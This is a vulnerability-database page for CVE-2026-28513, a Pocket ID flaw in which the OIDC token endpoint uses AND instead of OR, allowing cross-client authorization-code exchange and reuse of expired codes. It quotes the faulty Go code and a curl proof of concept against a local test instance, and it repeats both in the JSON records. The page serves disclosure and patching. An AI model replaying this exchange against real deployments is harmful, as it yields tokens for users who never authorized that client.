Vulnerability-Lookup

CVE-2026-28513 (GCVE-0-2026-28513)

Vulnerability from cvelistv5 – Published: 2026-03-09 22:19 – Updated: 2026-03-10 14:32

Title

Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Summary

Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.4.0, the OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse. This vulnerability is fixed in 2.4.0.

Severity ?

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M

References

URL

Tags

https://github.com/pocket-id/pocket-id/security/a…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	pocket-id	pocket-id	Affected: < 2.4.0

Show details on NVD website

JSON

To clipboard

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GHSA-QH6Q-598W-W6M2

Vulnerability from github – Published: 2026-03-09 17:24 – Updated: 2026-03-10 18:43

Summary

Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Details

Summary

The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.

Details

backend/internal/service/oidc_service.go:407

if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}

&& should be ||. Current behavior:

Condition	Expected	Actual
Wrong client + valid code	Reject	Accept
Correct client + expired code	Reject	Accept

PoC

Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.

# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client ID

Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).

Impact

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

Severity ?

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pocket-id/pocket-id/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260307173642-b59e35cb59ae"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T17:24:49Z",
    "nvd_published_at": "2026-03-10T17:38:50Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse.\n\n### Details\n\n`backend/internal/service/oidc_service.go:407`\n\n```go\nif authorizationCodeMetaData.ClientID != input.ClientID \u0026\u0026 authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {\n    return CreatedTokens{}, \u0026common.OidcInvalidAuthorizationCodeError{}\n}\n```\n\n`\u0026\u0026` should be `||`. Current behavior:\n\n| Condition | Expected | Actual |\n|-----------|----------|--------|\n| Wrong client + valid code | Reject | **Accept** |\n| Correct client + expired code | Reject | **Accept** |\n\n### PoC\n\n**Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client.\n\n```bash\n# 1. Seed test data\ncurl -X POST \"http://localhost:1411/api/test/reset?skip-ldap=true\"\n\n# 2. Exchange Nextcloud\u0027s auth code using Immich\u0027s credentials\ncurl -X POST http://localhost:1411/api/oidc/token \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=authorization_code\" \\\n  -d \"code=auth-code\" \\\n  -d \"client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018\" \\\n  -d \"client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x\" \\\n  -d \"redirect_uri=http://immich/auth/callback\"\n# Expected: 400 (wrong client)\n# Actual: 200 with tokens \u2014 access_token.aud = Immich client ID\n```\n\n**Verified result:** HTTP 200 with tokens. The `access_token` audience is `606c7782-...` (Immich), despite the authorization code being issued for `3654a746-...` (Nextcloud).\n\n### Impact\n\nAny OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.",
  "id": "GHSA-qh6q-598w-w6m2",
  "modified": "2026-03-10T18:43:07Z",
  "published": "2026-03-09T17:24:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28513"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pocket-id/pocket-id"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange"
}

FKIE_CVE-2026-28513

Vulnerability from fkie_nvd - Published: 2026-03-10 17:38 - Updated: 2026-03-10 18:18

Severity ?

8.5 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.4.0, the OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse. This vulnerability is fixed in 2.4.0."
    }
  ],
  "id": "CVE-2026-28513",
  "lastModified": "2026-03-10T18:18:47.057",
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          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
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          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
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        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
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  "published": "2026-03-10T17:38:50.303",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2"
    },
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    }
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}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-28513 (GCVE-0-2026-28513)

GHSA-QH6Q-598W-W6M2

Summary

Details

PoC

Impact

FKIE_CVE-2026-28513

Tags

Sightings

Nomenclature